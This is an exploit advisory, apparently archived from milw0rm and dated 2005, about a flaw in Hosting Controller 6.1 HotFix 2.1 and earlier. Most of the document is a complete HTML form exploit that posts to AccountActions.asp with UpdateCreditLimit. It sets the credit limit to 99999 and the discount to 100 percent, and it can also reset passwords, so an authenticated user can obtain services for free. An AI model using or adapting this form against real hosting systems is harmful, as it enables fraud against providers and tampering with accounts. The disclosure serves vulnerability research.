Hosting Controller <= 0.6.1 HotFix 2.1 Change Credit Limit Exploit

Hi, I&#39;m Soroush Dalili from GSG (GrayHatz Security Group). Title: Hosting controller program have a security bug in &#34;AccountActions.asp&#34; that an authenticated user can change his/her credit and buy some services! Version: 6.1 HotFix 2.1 and older Developer url: hostingcontroller.com Comment: Hosting Controller is an application to manage a host. Exploit code to proof: -------------------------------- GET CREDIT&#60;br&#62;Soroush Dalili from GSG&#60;br&#62; &#60;form action=&#34;http://[URL]/Admin/Accounts/AccountActions.asp?ActionType=UpdateCreditLimit&#34; method=&#34;post&#34;&#62; &#60;table&#62; &#60;tr&#62; &#60;td&#62;Username:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;UserName&#34; value=&#34;&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;Description:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;Description&#34; value=&#34;&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;FullName:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;FullName&#34; value=&#34;&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;AccountDisabled 1,[blank]:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;AccountDisabled&#34; value=&#34;&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;UserChangePassword:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;UserChangePassword&#34; value=&#34;&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;PassCheck=TRUE,0:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;PassCheck&#34; value=&#34;0&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;New Password:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;Pass1&#34; value=&#34;&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;DefaultDiscount%:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;DefaultDiscount&#34; value=&#34;100&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;tr&#62; &#60;td&#62;CreditLimit:&#60;/td&#62; &#60;td&#62;&#60;input type=&#34;text&#34; name=&#34;CreditLimit&#34; value=&#34;99999&#34;&#62;&#60;/td&#62; &#60;/tr&#62; &#60;/table&#62; &#60;br&#62;&#60;input type=&#34;submit&#34;&#62; &#60;/form&#62; &#60;hr&#62;&#60;br&#62; # milw0rm.com [2005-07-10]